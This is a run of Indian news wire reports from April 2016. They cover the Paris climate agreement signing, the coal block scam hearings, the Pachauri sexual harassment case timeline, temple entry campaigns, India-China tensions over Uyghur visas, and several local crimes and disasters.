United Nations: As nations come together to sign the historic Paris climate change agreement at the UN on Friday, India has said that going forward both developed and developing nations will be "tested" on how they "walk the talk" on cutting emissions and eradicate poverty.

"Developed world will be tested whether it is adopting sustainable consumption in their own countries and provide means of implementation to developing countries or not," Environment Minister Prakash Javadekar said at a session on sustainable development here on Thursday.

He added that developing countries too would be tested for planning comprehensively for achieving the Sustainable Development Goals and utilizing properly the funds provided to them by the developed world.

"Both groupings will be tested on how they walk the talk and eradicate poverty," he said.

Javadekar added that as mandated by the 2030 Agenda, the processes for follow up and review must remain voluntary, country-led and should reinforce mutual learning and exchange

of best practices.

"The purpose of the review mechanism must be to enhance the implementation of the agenda on the ground and to this extent ensure the provision of enhanced level of financial and technological support to developing countries," he said.

He stressed that the SDGs will have "very significant" resource implications and the world will require a total investment of USD 5-7 trillion per year while the developing countries' need alone could be around 3-9 trillion per year.

He said according to preliminary estimates for India, the countrys financial requirement is pegged at USD 500 billion per annum for the next 15 years for food security, infrastructure, climate change, mitigation, adaption, health and education.

More than 165 countries will sign the climate change agreement at the signature ceremony hosted by UN Secretary-General Ban Ki-moon. All of the worlds largest economies, and the largest greenhouse gas emitters, have indicated that they will sign the agreement on Friday.

The signing is the first step toward ensuring that the agreement enters into force as soon as possible.

After signing, countries must take the further national (or domestic) step of accepting or ratifying the agreement.

The agreement can enter into force 30 days after at least 55 Parties to the UN Framework Convention on Climate Change (UNFCCC), accounting for at least 55 per cent of global emissions, ratify the agreement.

There are 13 countries, mostly Small Island Developing States, that are expected to deposit their instruments of ratification immediately after signing the agreement.
New Delhi: Businessman Manoj Kumar Jayaswal, an accused in three coal block allocation scam cases and is seeking a joint trial, on Friday told a special court that these

matters were the outcome of the same "conspiracy" and cannot be tried separately.

His counsel told Special CBI Judge Bharat Parashar that while various witnesses and documents were common in the three matters, the FIRs were "closely knit" and the alleged offences pertained to the same transaction.

The court fixed 13 May for hearing further arguments on the plea seeking joint trial in the three case.

Advocate Vijay Aggarwal, appearing for Jayaswal, argued that CBI's allegation against his client in all the three cases was that he had conspired with former Coal Secretary H C Gupta, who is also facing prosecution in these cases.

"How can there be different conspiracies? It's like a wheel and Jayaswal and Gupta are connected through its rim. So there is a single conspiracy, if any," he contended.

He also said his defence in these three cases was the same and if these matters are not tried jointly, then it would prejudice him. "All the cases are based on the same cause of action and are outcome of the similar alleged conspiracy."

Jayaswal is accused in three cases pertaining to alleged irregularities in allocation of coal blocks to AMR Iron and Steel Private Limited, JLD Yavatmal Energy Private Limited and JAS Infrastructure and Power Limited, now known as Jas Infrastructure Capital Private Limited (JICPL).

Barring former Minister of State for Coal Santosh Bagrodia and retired public servant LS Janoti who are accused in one of these three cases, all others facing prosecution have not objected to the plea seeking a joint trial.

Janoti's counsel had earlier opposed the plea saying that number of documents and witnesses would be huge if these three cases are clubbed, while the other accused, including Gupta, have supported Jayaswal's plea.

In the AMR Iron and Steel Pvt Ltd case, Bagrodia, Rajya Sabha MP Vijay Darda, his son Devendra Darda are accused along with others. Dardas are accused with Jayaswal in JLD case.

All the accused in the three cases were earlier granted bail by the court and the matters were fixed for commencement of arguments on framing of charges.

The AMR case pertains to alleged irregularities in allocation of Bander coal block in Maharashtra to the firm, while JLD case relates to allocation of Fatehpur (East) coal block in Chhattisgarh. JAS was allotted Mahuagarhi coal block in Jharkhand.
Rohtak: A 60-year-old Congress worker was shot dead allegedly by three assailants when he was out on a morning walk on Friday, police said.

Police suspect that the victim, Ashok, could have been killed over some land dispute. "He is a Congress worker. At one time, he used to be head of Railway Road Market Association here and probably also had a jewellery outlet there. He was attacked by three assailants when he was taking a morning walk," Rohtak SSP Shashank Anand told PTI.

The SSP said that Ashok was rushed to PGIMS at Rohtak, where he was declared dead on arrival.

Asked what could be the motive behind the killing, he said, "We have got some information that he had some land dispute with his brother. There is also information that he had a land dispute with another party. We are trying to develop these pieces of information as we investigate the case".

He said that a case under relevant provisions of the law has been registered in connection with the incident.
New Delhi: The Central government on Friday reiterated its stand on the historic Kohinoor diamond, saying it will "amicably" bring it back from Britain.

"The government of India will take all steps to bring back Kohinoor in an amicable manner," External Affairs Ministry spokesperson Vikas Swaroop told the media.

The government on Tuesday had altered its stand on the issue for the first time after it told the Supreme Court earlier this month that the British East India Company did not take away the Kohinoor diamond but it was gifted to Britain by Maharaja Duleep Singh.

The government changed its stand on the issue after widespread criticism.

The 105 carat Kohinoor, now adorning the crown of the British monarch, is kept under tight security in the Tower of London in Britain.
Trupti Desai of Bhumata Brigade, who successfully spearheaded the agitation seeking entry of women in Shani Shingnapur's sanctum, will now lead a forum  Haji Ali Sabke Liye  to peacefully campaign against the ban on entry of women into the interiors of the 15th century Sufi shrine located in Mumbai on 28 April, reports DNA.

The forum also stated that they are also planning similar movements in mosques across the country where women are banned from entering the shrines, states the report.

Earlier on Friday, Desai long with other women activists, offered prayers at the inner sanctum of the Trimbakeshwar temple in Nashik, where the entry of women was forbidden for ages. Although they were stopped at the gate of the temple for a brief moment, they were later allowed inside to worship.

Activist Trupti Desai was stopped at gate of Trimbakeshwar temple, was later allowed to enter temple's inner sanctum pic.twitter.com/rPG2yDsWsT  ANI (@ANI_news) April 22, 2016

This significant development of permitting women in one of the 12 Jyotirlingas, a devotional object representing Lord Shiva in the country, came 13 days after women were allowed to enter the Shani Shingnapur temple in Ahmednagar district on 8 April.

Desai was reported as saying that she will take the movement to the national level and will meet Prime Minister Narendra Modi next month in this regard.

Desai says she is aware that gaining entry into temples is not the only fight. The key is to create awareness  "there are many who do not know about the concept of equality, or that it is guaranteed by our Constitution. Our organisation is working towards this and perhaps this is how we can consistently keep the momentum of the movement alive," Desai had told Firstpost.

"We are not against tradition, but against wrong practices. Take for example, the Sati Pratha or Kesh Mundan, we have done away with those," Desai had said.
Chandigarh: Aiming to achieve a target of 950 plus sex ratio at birth (SRB) by the end of the year, Haryana Chief Minister Manohar Lal Khattar has sought "coordinated efforts" among neighbouring states to check female foeticide.

He wrote letters today to the chief ministers of Punjab, Rajasthan, Delhi and Uttar Pradesh and has also attached a brief note and a presentation for their perusal.

"I am confident that concerted and coordinated efforts of state governments will help in saving thousands of girls," he wrote.

"Deep desire for male child in the society coupled with complex nexus of unscrupulous elements involved in sex determination and female feticide resulted in skewed sex ratio in the state," the letter said.

He explained the strategy adopted in Haryana to check the female feticide.

Pre-Conception and Pre-Natal Diagnostic Techniques (PNDT) Act and the Medical Termination of Pregnancy (MTP) Act were rigorously implemented in Harayana with the coordinated efforts of all wings of government -- police, health, food and drugs administration, prosecution, ably led by deputy commissioners in all the districts, the CM said.

He also urged them to direct their authorities concerned to take strong steps in coordination with authorities in Haryana, which would surely lead to improved sex ratio in all the neighbouring states.

Khattar said Haryana had lowest child sex ratio in the country as per census 2011, but now that has crossed the benchmark SRB of 900 for the first time in December 2015.

This, he said, could be made possible "due to strenuous efforts put in by all deputy commissioners since the launch of 'Beti Bachao-Beti Padhao' campaign by Prime Minister Narendra Modi from Panipat on January 22, 2015."

He further said in his communication that a massive crackdown was launched to take action against elements selling sex selection drugs and MTP kits, which were freely available earlier.

During last year, Khattar mentioned that he had been reviewing the programme with deputy commissioners and superintendents of police through video conferences.

He said he did create a small 'Beti Bachao-Beti Padhao Secretariat' in his office to regularly monitor implementation of the campaign with deputy commissioners and all concerned.

While stating that more than 200 FIRs were registered against the violators of PNDT/MTP Acts during last about nine months, Khattar stressed that out of them more than 25 FIRs were got registered after joint raids in coordination with authorities in bordering states.

These included more than seven in various districts of Punjab, eight each in Uttar Pradesh and Delhi, and one each in Hanumangarh and Jhunjhnu districts of Rajasthan.

Khattar appreciated the full support extended by deputy commissioners and superintendents of police of the neighbouring states for making the cross border raids successful.

"Our experience has demonstrated very clearly that notorious elements operate in contiguous districts in neighbouring states also to indulge in sex selective abortions," he added.
Jawaharlal Nehru University Student Union (JNUSU) president Kanhaiya Kumar has been called nearly every name under the sun. 'Anti-national', 'terrorist', 'separatist', 'rabble-rouser'... the list is virtually endless.

We say 'nearly' and 'virtually' for two reasons:

Firstly, no one on the news desk can recall at this time whether or not anyone ever referred to him as Zenobia or Shaniqua.

And secondly, because he has never been referred to as a doctor... until now, that is.

But first, a bit of background.

The man whose tortured visage adorned our television screens for a large part of this year is set to make his first public address in Mumbai on Saturday. The fairly obscure Veer Sena and a group of fellow right-wing organisations have taken it upon themselves to apparently prevent Kanhaiya from 'spoiling the citys atmosphere', with their vow to stop him. In a press conference organised by the Hindu Janjagruti Samitee, Veer Sena leader Niranjan Pal made the usual noises about Kanhaiya being 'anti-national', shouting 'slogans against the country' and how his address could 'create (a) law and order situation in the city'.

Then things took a turn for the bizarre.

"Kanhaiya who threatened to break the country is trying to become a doctor by completing his PhD," said Niranjan, adding, "I do not know how will he provide service to his patients, diagnose them and carry out operations."

When alerted to the fact that Kanhaiya is actually pursuing a PhD in African Studies and not an MBBS, the Veer Sena leader was unmoved, and likely unconvinced that it should make any difference.

Sure enough, The Hindu quoted a nonchalant Niranjan as asking, "So? He will become a doctor anyway and patients will approach him."

These statements have undoubtedly earned Niranjan ridicule from all quarters, so instead of joining the chorus, we'd like to help him out with a list of other doctors.

Here goes...

Dr Manmohan Singh: Anaesthesiologist

Dr Mahesh Sharma: Sexologist

Dr Ratan Tata: Neurologist

Dr Shashi Tharoor: Psychiatrist

Dr Vijay Mallya: Proctologist

There's plenty more, but we think you get the idea.

Oh, The Hindu also quoted Vaibhav Raut of Hindu Govansh Raksha Samiti as saying, According to us he (Kanhaiya) should not be allowed to live in India.

Thanks for that(!) As if enough doctors weren't leaving India already.
Thiruvananthapuram: Former Kerala Finance Minister KM Mani and Forest Minister Thiruvanchoor Radhakrishnan were among the candidates who filed their nominations on Friday for the 16 May Assembly elections, after the Election Commission issued notifications.

The filing of nominations began at 11 am at various district collectorates after the Election Commission issued the notification for the polls to the 140 Assembly constituencies in the state.

The filing of nominations will continue till 29 April and the scrutiny of papers will be held on 30 April. The last date for withdrawal of nominations is 2 May.

BJP state President Kummanam Rajasekharan and former state unit chief V Muraleedharan also filed their nomination papers.

83-year-old Mani, leader of the Kerala Congress (M), a constituent of the ruling Congress-led United Democratic Front, who is contesting from Pala assembly constituency in Kottayam district, filed his nomination papers before the returning officer at Kottayam collectorate.

Mani, who holds the record of longest serving member of the state Assembly, had to resign from the Oommen Chandy cabinet in the wake of the corruption allegations against him in bar bribery scam.

Besides Mani and Thiruvanchoor Radhakrishnan, K Muraleedharan, Padmaja Venugopal (both Congress) and C P John (CMP) also filed nominations from the United Democratic Front camp.
Kollam: An absconding fireworks contractor and his wife, among the accused in the Puttingal fireworks tragedy that claimed 108 lives, were arrested in Kollam on Thursday.

They were arrested late in the night after crime branch officials questioned them.

Krishnankutty and Anarkali, in whose name the licence for the fireworks display had been taken, were picked up earlier in the day from Pallickal in Kollam, police said.

The two had been absconding since the devastating mishap during the festivities at Puttingal Devi temple on 10 April, which claimed 108 lives and left over 300 injured.

The couple has moved an anticipatory bail petition in the Kerala High Court, saying they had been conducting the fireworks display for the past 40 years with proper licence that was valid till March, 2017.

The petition is likely to come up for hearing on Friday.

So far, 25 people, many of them workers employed by the contractors, have been arrested in connection with the incident.

Police have registered cases for offences, including attempt to murder against the accused.

Meanwhile crime branch officials probing the case today seized some files, hard disks and CCTV footage from the Kollam district collectorate tonight.
Chamba: In spite of advancing years, health worker Kaushalya, whose name roughly translates into "ability to do something well", is showing the light to women in one of the remotest areas of Chamba district in Himachal Pradesh. She has, in fact, dedicated 31 years to propagating institutional deliveries and providing health services like intrauterine contraceptive device and other contraceptive methods.

Kaushalya, 58, has been posted at the Kalsuin health sub-centre, 17 km from this town, some 450 km from the state capital Shimla, for the past 28 years.

"It's only the self-motivation and my inner spirit that drive me towards someone who's in labour and needs my help. I didn't mind working odd hours and in hostile weather. I love to provide 24-hour maternal healthcare facilities," a beaming Kaushalya told IANS.

In her profession as a female health worker, she has performed over 3,000 deliveries and related procedures  without even a single case of either maternal or child mortality or foetus abortion.

At times, she also faces, with determination, the sensitive topic of female foeticide and the bias against the female child.

In recognition of her efforts to promote female reproductive health in the area, dominated mainly by the marginal and small farmers, the state government has designated Kalsuin sub-centre in the Churi block as the only "delivery point" in the state.

The five-bedded centre, which has a labour room and a baby-care room, has a provision of one male and one female health worker each.

According to her, in the past one decade she has conducted over 2,500 institutional deliveries and 257 intrauterine contraceptive device insertions at the Kalsuin centre, which caters to 18 villages with a population of around 2,000.

Most of the time she is the lone health worker posted there, despite the provision of a male health worker. There is no provision of a gynecologist or pediatrician.

She has handled many emergency cases as the specialist services are far removed from the Kalsuin centre.

"I can handle both antenatal and postnatal care," said Kaushalya, who is retiring in December.

In 1985, she joined the state health services as a female health worker at Dalli in Chamba district's Bharmour block.

Three years later, she was transferred to Kalsuin. At that time, the health centre was functioning from the panchayat building and lacked proper infrastructure.

It was because of her efforts that the health centre was shifted to a new building equipped with proper facilities.

Kaushalya, who was trained by Hindustan Latex Family Planning Promotion Trust in reproductive and child healthcare, started midwifery in 1995 by facilitating deliveries at homes. Since 2005, she has been performing institutional deliveries at the Kalsuin centre.

Her contribution was recognised by the state government by conferring on her a district-level award in 2010 and a state level in 2011.

Himachal Pradesh is the only state in the country where 89.96 percent of the population as per 2011 census lives in rural areas.

To appreciate the enormity of Kaushalya's contribution, one only needs to read the latest report of the Comptroller and Auditor General of India, which states that Himachal Pradesh has failed to provide 24-hour maternal healthcare facilities at 84 percent of its primary health centres under the National Rural Health Mission (NRHM).

Of the 500 primary health centres, only 81 (16 percent) have been upgraded to provide round-the-clock delivery services but none of these had basic obstetric and nursing facilities like availability of a gynecologist, staff nurses and skilled birth attendants, the report said.

It said that out of the 500 primary health centres, labour rooms and newborn care units were not available in 308 and 493 centres.

During 2010-15, a total of 668,442 pregnant women were registered in the state.

Only 354,022 (53 percent) institutional deliveries were ensured in government institutions against the targeted 467,909 (70 percent), the CAG added.
Patna: National Disaster Response Force (NDRF) has decided to develop its Ninth battalion, based in Bihta near here, as a "specialised unit" to tackle the water-related disasters like flood rescue across the country, NDRF Director General OP Singh said on Friday.

"Every battalion of NDRF will be developed as a specialised unit in different fields. The Bihta based 9th battalion of will be developed as a Centre of Excellence to deal with floods in the country. NDRF's all 12 battalions will, however, continue to discharge their multi-disciplinary role," Singh said.

Singh, who was accompanied by 9th battalion Commandant Vijay Sinha, laid the foundation stone for construction of infrastructure facilities for NDRF in Bihta, 40 km from Patna.

The decision to develop Bihta NDRF as a specialised unit to deal with floods was taken keeping in mind Bihar and Jharkhand being flood prone states, he said.

The expertise of the specialised unit would be utilised across the country, Singh said, adding, "we have witnessed a new urban flood phenomenon as in Chennai and Kashmir."

Stating that NDRF's current response time was 20 minutes at times of emergency and disaster, Singh said "We want to cut down the response time and aim to respond in five to ten minutes of the disaster, so that more and more lives are saved."

A sub team (small) of six-seven NDRF personnel equipped with all modern equipment would be formed to deal with emergent situation, so that it can reach to save lives in time before the regular team follows, the DG said adding the decision of sub teams was being formed keeping in mind the traffic congestion that cause delay in reaching disaster sites.

Singh laid the foundation stone for construction of barracks for NDRF personnel, Subordinate Officers' mess, administrative building and dog kennel in first phase at an estimated cost of Rs 83 crore.

Construction work for the first phase of Bihta based 9th battalion of NDRF would be completed by August 14, 2017.

"This is the first time that the government has sanctioned Rs 883 crore for the development and construction of various buildings for all the 10 battalions of NDRF in the

country," Singh said.

He expressed hope that the project, which has been awarded to a PSU Hindustan Steelworks Construction Ltd, would be completed within a time frame without compromising with

quality.

Singh said a pre-monsoon meeting has been convened in Delhi on 26 April with all stake holders including state representatives to discuss preparations to deal with flood situation.

He said NDRF has saved lives of 4.73 lakh people since 2006. Besides, the force has also trained 41.48 lakh people in disaster management across the country.

The 9th battalion of NDRF has imparted training to 4.22 lakh people in disaster management as part of an awareness programme, he said adding it has also trained 9,000 personnel of the State Disaster Response Force in Bihar.
India has upped the ante with China by issuing visas to World Uyghur Congress leader Dolkun Isa and three others, and by allowing them to visit India for a conference in Dharamshala  home to the exiled Tibetan spiritual leader the Dalai Lama, and the capital of the Tibetan government-in-exile. The Conference is slated for the end of the month.

Smarting under China's refusal to sanction Jaish-e-Mohammed chief Masood Azhar as a terrorist, who New Delhi blames for the Pathankot terror strike, India has hit back. Though the plan to allow the conference to be held with the Chinese dissidents was taken months before China's refusal in the UN, this could be Prime Minister Narendra Modi's muscular foreign policy in action.

Although much has been made of the new aggressive foreign policy of the NDA government, the Prime Minister's record in external relations so far has been good. He has shown no aggression, and has carried on the UPA policy, albeit with much more vigour and determination.

Is this about to change? Many of his supporters, as well as the larger Sangh parivar, will be delighted. They want India to act as a strong power, notwithstanding the fact that New Delhi lacks both China's economic clout and its defense capabilities.

Many in the Indian establishment have welcomed the government's move.

"China has for a long time got away scot-free  whether it is claiming Arunachal as its own, or the Masood Azhar case, where China twice bailed out Pakistan at the UN. If India continues to take all this then it creates the impression that China is strong, while we (India) swallow everything it throws at us," said former Cabinet Secretary Naresh Chandra.

"I fully support the government's move. I am particularly happy that it has taken place just after the NSA border talks," Chandra said.

He believes that India should not be seen as docile towards China.

"Also the situation in Asia at the moment is such that China cannot afford to be adventurist with India," said Chandra, who was also India's ambassador in Washington. He said that apart from being a political appointee, he did not always go by the rules of the IFS, and would often meet the Dalai Lama publicly during his visits to the US.

Chandra supports the government's stand on Masood Azhar. The fact that External Affairs Minister Sushma Swaraj raised the issue with China's Foreign Minister Wang Yi, and National Security Advisor Ajit Doval also spoke of India's unhappiness to his counterpart Yang Jiechi, substantiates the government's stand on the issue.

China has been battling Uyghur Islamic extremism in the Xinjiang province since the 1990s. Dolkun Isa is regarded as a terrorist by China, and there is an Interpol red-corner notice against him. He has been a German citizen since 2006, and has been in the forefront of the movement for democracy, often speaking out against the human rights abuse by Chinese authorities.

He is the chairman of the World Uyghur Congress. The Uyghurs are the largest Turkic ethnic group living in Xinjiang. Isa has denied the Chinese charges that declare him as a terrorist.

Whether Dolkun Isa eventually comes to India for the conference, or if he sends his colleauges instead is not the point. Beijing is angry with India's move to grant them visas, thereby directly oppsoing the Chinese views.

China will see red. For one, the conference calls for restoration of democracy. And, it will be held in Dharamshala. To make things worse, the Dalai Lama, who China regards as enemy number one, will address the meeting.

"China will not take this lightly. More so because the Dalai Lama is involved and the conference is taking place in Dharamshala," said Alka Acharya, director at the Institute of Chinese Studies, Delhi.

"This will unnecessarily sour relations at a time when India and China need to build some momentum. Ties between India and China are progressing in fits and starts," Acharya said.

President Pranab Mukherjee is slated to visit China at the end of May. Hopefully, by then the two sides will get over this latest blip. The initial euphoria of improved ties between the two Asian giants, following President Xi Jinping's visit to India and Prime Minister Modi's subsequent return trip to China, will fade quickly and the relations will continue to be lukewarm at best.

The brief border war between India and China  when the PLA troops rolled into Arunachal as an ill prepared Indian army beat a hasty retreat, left a psychological blow on India. Suspicion of China is pervasive in the Indian establishment.

China too regards India's decision to host the Dalai Lama as a provocation. Beijing is also wary of India's warming relations with the US, and the Washington's efforts to draw New Delhi into a future defense architecture of the Asian Pacific region.

The good news is that despite the irritants, both countries are pragmatic enough to ensure that the situation does not get out of hand. As officials on both sides keep pointing out that the border between the two countries continues to be peaceful, not a shot has been fired here.
New Delhi: President Pranab Mukherjee will visit Papua New Guinea (PNG) and New Zealand next week, his first-ever state visit to the two countries, during which a raft of agreements will be signed.

During his visit beginning with PNG on 28 April, several agreements are expected to be signed in the fields of education, health, connectivity, economic cooperation, agriculture and dairy farming. Briefing reporters on Friday, External Affairs spokesperson Vikas Swarup said "this will be the first ever visit to the two countries by the President."

The President will be accompanied by Minister of Food Processing Industries Harsimrat Kaur Badal and a delegation of members of Parliament.

"Several agreements are expected to be signed during the visit in the fields of economic cooperation, education and connectivity," he said.

Papua New Guinea (PNG) is the largest of Pacific island country, both in terms of land area and population, and is blessed with abundant natural resources. Its Prime Minister Peter O'Neill had visited India last August for a summit meeting.

"A number of areas of cooperation between India and PNG are in the process of finalisation in the fields such as health, infrastructure development, capacity building etc.," Swarup said.

On the President's visit to New Zealand, which starts from 30 April, he said India and New Zealand traditionally share close relations.

"Both sides see prospects for cooperation in agriculture, dairy, food processing, education and skill development as well as high technology. The Indian diaspora of 1,75,000 helps to further cement our ties," he said.

New Zealand Prime Minister John Key had visited India in 2011 while the Governor General of New Zealand visited the country in 2008, 2009 and 2011.
Pune: Pune police have asked organisers of JNU Students' Union president Kanhaiya Kumar's 24 April rally here to fulfill certain pre-conditions for permission for the event, including a fire and structural safety audit.

Progressive Students Youth Action Committee, which has invited Kumar, said the notice was a ruse to deny permission.

"We had decided to hold the event on the premises of Rashtra Seva Dal and had sought permission from police. Police served us a notice late last night, and we have been asked to fulfill certain pre-conditions," said Girish Phonde, a member of the organising committee.

The notice asked the organisers to conduct "fire and structural audit" of the place, and also warned that as the sitting capacity of the venue is not more than 400, there could be a pandemonium if more people turned out.

It also asked the organisers to provide enough parking space, and warned of law and order issues because of anti-social elements in the area.

Phonde alleged that these were "tactics of putting pressure" and a ruse to deny the permission.

"We are determined to hold the rally and more and more people will attend it. We are thinking of changing the venue," he said.

On Thursday, police issued a fresh notice saying the permission will be denied if the conditions were not fulfilled, he said.

A senior police official told PTI, "We are committed to giving adequate security to the event to avoid untoward incidents. But the organisers should fulfil the conditions as asked by the local police station."

When organisers applied for permission four to five days ago, they had not mentioned the venue, he said.

"After we came to know about the venue, we visited the place and found that it's a very congested area and that's why certain preconditions were prescribed," he said.
RK Pachauri, former chief of The Energy and Resource Institute (TERI), has been facing sexual harassment allegations since February 2015. In an interview with HuffPost, on Thursday, Pachauri said that he felt the need to end his association with TERI and pursue other interests.

On Monday, the governing council at TERI decided to terminate the director-generals employment contract which was valid till July 2017, thereby ending his three-decade long run at the climate think-tank.

Pachauri issued a statement on Thursday saying that the decision to call time on his association with the organisation was voluntary. He added that the staff was TERI's "greatest treasure" and it will take the institute to much greater heights in the years ahead.

With Pachauris role in TERI having come to end, lets take a look at the trajectory of his work at TERI, his commitment to climate change and his eventual fall following very controversial allegations of sexual harassment

18 April 2016: The governing council of TERI in a meeting decided to terminate three-decade long association with its Director-General RK Pachauri.

31 March 2016: A third woman levels sexual harassment allegations against Pachauri through an open letter.

27 March 2016: Pachauri, who had not spoken publicly about the case, finally broke his silence in an interview with The Observer. He also alleged that the complainant was in cahoots with people who have a vendetta against him as he is a proponent of climate change. He also alleged that the complainant had access to his email accounts and she "actively flirted with me, encouraging a deeper relationship" even though he asserted they only shared "a cordial and mutual relationship".

4 March 2016: The Delhi High Court dismisses a plea seeking cancellation of anticipatory bail granted to Pachauri.

3 March 2016: The Delhi Polices chargesheet filed in a Delhi Court that there is "sufficient evidence" against RK Pachauri that he sexually harassed, stalked and threatened his former female colleague.

2 March 2016: A sessions court in New Delhi sets aside a magistrate court order asking TERI executive vice-chairman RK Pachauri to forfeit his surety bond and says one-day extension of Pachauri's Sharjah trip was "neither deliberate nor intentional".

1 March 2016: Delhi Police files chargesheet against Pachauri. Following are the charges - offences of stalking, gesture or act intended to insult the modesty of a woman, criminal force to woman with intent to outrage her modesty, criminal intimidation and word, sexual harassment under IPC.

22 February 2016: Sessions court stays the order forfeiting the surety of Rs four-lakh furnished by Pachauri, for overstaying abroad.

20 February 2016: After Pachauri overstays in Sharjah and deliberately violating travel conditions imposed on him, a Delhi Court forfeits his surety bond.

15 February 2016: A Delhi Court grants him permission to travel to Sharjah to receive a Lifetime Achievement Award.

13 February 2016: TERI alumni condemn governing councils decision to allow him paid leave amidst their demand to remove Pachauri from office or suspension.

12 February 2016: Ashok Chawla, former competition commission chief, is appointed as new chairman of TERI.

11 February 2016: After a group of students refuse to accept degrees from him, Pachauri goes on leave amid outrage over Pachauris appointment as executive V-C.

10 February 2016: Ex-employees of TERI criticise appointment of Pachauri as executive V-C and demand that his promotion be deferred till the time the sexual harassment case is pending against him.

8 February 2016: TERI appoints Pachauri as executive vice chairman of the think-tank.

13 January 2016: Delhi HC reserves verdict on womans plea seek cancellation of anticipatory bail granted to Pachauri.

21 November 2015: After the woman resigns, Pachauri is allowed to enter TERI headquarters as well as TERIs Gurgaon office following an order by Delhi Court.

28 October 2015: The Delhi High Court declines the womans plea for early hearing of the matter, saying there was no urgency and it will be heard on the date already fixed.

28 September 2015: Woman seeks immediate removal of TERI from office, files a fresh application in Delhi HC.

17 September 2015: Ranjana Saikia, the head of TERI's Internal Complaints Committee who headed the 3-member panel which found its former Director General RK Pachauri guilty of sexual harassment of a junior colleague resigns. However, she gives no reason for her resignation.

8 September 2015: The woman who alleged sexual harassment files a fresh plea with Delhi HC alleging that no action is being taken by TERI on internal panels findings.

12 August 2015: The 29-year-old researcher writes to Prime Minister Modi seeking his intervention in the case, stating that she fears Pachauris influence may impede a fair trail in the case.

23 July 2015: The governing council of TERI asks Pachauri to step down from his post as the Director-General.

17 July 2015: Delhi Court lets Pachauri enter his office premises barring a head office in Delhi and a branch office in Gurgaon.

16 July 2015: Delhi police seeks cancellation of anticipatory bail granted to Pachauri citing that he was influencing witnesses and hampering investigation.

12 July 2015: Pachauri is taken in for the fourth round of questioning by the Delhi Police.

27 June 2015: Pachauris plea to travel to the US to attend last rites of his brother-in-law is allowed by a Delhi Court.

24 June 2015: Police take Pachauri in for questioning in the case.

21 May 2015: Pachauris plea to enter his office fails to get an order from a Delhi Court.

20 May 2015: Delhi HC refuses to immediately cancel anticipatory bail granted to Pachauri.

19 May 2015: Delhi HC asks Pachauri to respond to the womans plea seeking cancellation of his anticipatory bail granted to him.

23 April 2015: Pachauri withdraws plea after HC denies permission to let him travel abroad.

22 April 2015: Pachauri moves High Court requesting to travel to Greece.

20 April 2015: Delhi Court rejects Pachauris request on grounds that the complainant had questioned its maintainability.

17 April 2015: Pachauri asks a Delhi Court to allow him to travel abroad for a global water summit in Greece between 26 and 29 April.

21 March 2015: Delhi High Court rejects Delhi Polices request to take him into custody and grants him anticipatory bail.

28 February 2015: Pachauri steps down from the PMs council on climate change.

26 February 2015: The Delhi High Court denies Pachauris entry into TERI office premises while granting him further interim protection from arrest till 27 March.

25 February 2015: Activists and lawyers demand that Pachauri step down as Director-General of TERI.

24 February 2015: Pachauri resigns as the chairman of the Inter governmental Panel on Climate Change (IPCC).

23 February 2015: Pachauris interim protection gets extended till 26 February by the Delhi High Courts order. Simultaneously, Harvard University withdraws their invitation to RK Pachauri to speak at the India Conference after news of FIR filed against him becomes public.

22 February 2015: A former TERI employee alleges that she was sexually harassed when she worked with him 10 years ago.

19 February 2015: The Delhi High Court says he will be granted interim protection from arrest till 23 February, meanwhile asking him to move trial court.

17 February 2015: Pachauri alleges that his computer was hacked and files a complaint with the police.

13 February 2015: A 29-year-old woman who worked as a research analyst at TERI lodges a complaint against Pachauri for alleged offence of criminal intimidation, sexual harassment. An FIR is lodged subsequently. The 33 page complaint listed numerous instances of harassment which included WhatsApp messages, emails and instances of physical advances.

2007: The Geneva-based IPCC, an organisation that assesses climate threats periodically, received the Nobel Peace Prize. Pachauri received the Prize on the organisations behalf. In its press release, the Nobel Prize committee had said that the prize was meant to be shared in equal parts by Pachauri and Al Gore.

2002: Pachauri was appointed the Chairman of the Intergovernmental Panel on Climate Change, a United Nations panel established to study climate change in various regions of the country.

2001: Pachauri is appointed as a Member, Economic Advisory Council to the Prime Minister of India.

1982: Having served as a professor at various universities before TERI, Pachauri joined the climate think-tank in 1982 as the Director.
Mumbai: Railway Minister Suresh Prabhu on Friday said his ministry has chalked out a plan to invest Rs 40,000 crore in different projects in Mumbai, blueprint of which will be prepared before 15 August.

"I belong to this city. And not only me but all my colleagues know what needs to be done so ample attention would also be given to Mumbai," Prabhu said at the foundation stone laying ceremony of an FOB (foot over bridge) at suburban Khar railway station in Mumbai.

The minister said he has recently held a meeting with Maharashtra chief minister Devendra Fadnavis in this regard.

"I held a meeting with the chief minister, chairman of Railway Board and other senior railway officials and we have chalked out a plan to invest over Rs 40,000 crore. Its blueprint will be prepared before 15 August," he said.

Prabhu said Central and the state government will collaborate to implement some of the big projects in the megapolis like elevated corridors between Chhatrapati Shivaji Terminus and Panvel; Churchgate-Virar elevated corridor project to be completed in two phases.

"I have personally spoken to senior officials to execute the work within stipulated time frame and if there is any technical glitch, I will personally see to it," he said.

Outlining his priority to turn Indian railway into a world-class transport medium, Prabhu claimed, "The way we have invested money through some extra budgetary resources, no other government in the past in its first two years tenure has done."

The minister later inaugurated a new FOB at suburban Vile Parle station built with a cost of Rs 2.30 crore.

MP Poonam Mahajan, MLA Parag Alawani, Mumbai mayor Snehal Ambekar, MLA Ashish Shelar and other senior railway officials were also present on the occasion.
Agra:Tourism industry leaders and workers here held a demonstration against a move by the central government to locate an international airport project at a place other than Agra.

On Thursday, they flew hundreds of colourful planes made of paper printed with a speech that, they said, Prime Minister Narendra Modi had delivered in which he had promised an international airport for the City of the Taj.

The union civil aviation ministry was now planning to site the international airport at Jewar in Gautam Budh Nagar district of Uttar Pradesh, ignoring Agra's long pending claim, said demonstrators.

"If any city in India has a just claim to an international airport, it is Agra which gets the maximum number of foreign tourists," said Rajiv Tiwari, president of the Federation of Travel Agents' Associations of India.

But successive governments had failed to provide regular air connectivity with Agra, he said.

"The present airport at Kheria needs to be upgraded and provided a new terminal building and the airlines told to start regular flights from all big cities to Agra," Tiwari said.

Kheria facility in Agra district is an Indian Air Force base-and-public airport with very limited connectivity.
Aurangabad (Bihar): Twelve people, including six children, were charred to death on Friday in a fire at a house in Aurangabad.

The incident took place in Hari Nagar tola when the fire from a nearby house engulfed Jagta Ram's residence trapping his family members, who had gathered for a social function, District Magistrate Kamal Tanuj said.

Twelve people  six children, two women and four men were  burnt to death in the blaze, he said.

It was, however, not clear what caused the fire in the nearby house.

At least six other family members sustained burn injuries, Daud Nagar police station in-charge Pankaj Kumar said, adding they were rushed to the hospital for treatment.

